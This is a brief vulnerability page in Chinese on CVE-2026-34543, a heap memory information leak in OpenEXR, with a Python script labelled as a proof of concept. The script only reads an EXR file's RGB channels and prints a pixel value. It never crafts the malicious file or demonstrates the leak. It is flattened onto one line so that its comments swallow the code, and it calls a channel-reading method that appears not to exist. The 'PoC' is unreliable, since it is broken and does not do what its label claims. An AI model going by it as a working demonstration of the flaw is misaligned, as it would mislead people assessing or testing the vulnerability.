CVE-2026-34543 OpenEXR 堆内存信息泄露漏洞

import OpenEXR import Imath import numpy as np # PoC for CVE-2026-34543: Information Disclosure via Heap Memory Leak # This script demonstrates reading a potentially malicious EXR file. # In the vulnerable version, uninitialized heap memory may be present in the pixel data. def read_exr_file(filepath): try: # Open the EXR file exr_file = OpenEXR.InputFile(filepath) header = exr_file.header() # Get window dimensions dw = header['dataWindow'] size = (dw.max.x - dw.min.x + 1, dw.max.y - dw.min.y + 1) # Read the pixel data (RGB channels) # In vulnerable versions (3.4.0 - 3.4.7), this data may contain heap leaks FLOAT = Imath.PixelType(Imath.PixelType.FLOAT) rgb_str = exr_file.pixel(Imath.Channel('R', FLOAT), Imath.Channel('G', FLOAT), Imath.Channel('B', FLOAT)) # Convert to numpy array for analysis # This step represents where the leaked information becomes accessible rgb = np.frombuffer(rgb_str, dtype=np.float32) rgb.shape = (size[1], size[0], 3) print(f"Successfully read {filepath}. Check pixel data for anomalies.") # Analyze first few pixels for potential non-image data patterns print("First pixel values:", rgb[0,0]) except Exception as e: print(f"Error processing file: {e}") # Replace 'malicious.exr' with a crafted file intended to trigger the leak # read_exr_file('malicious.exr')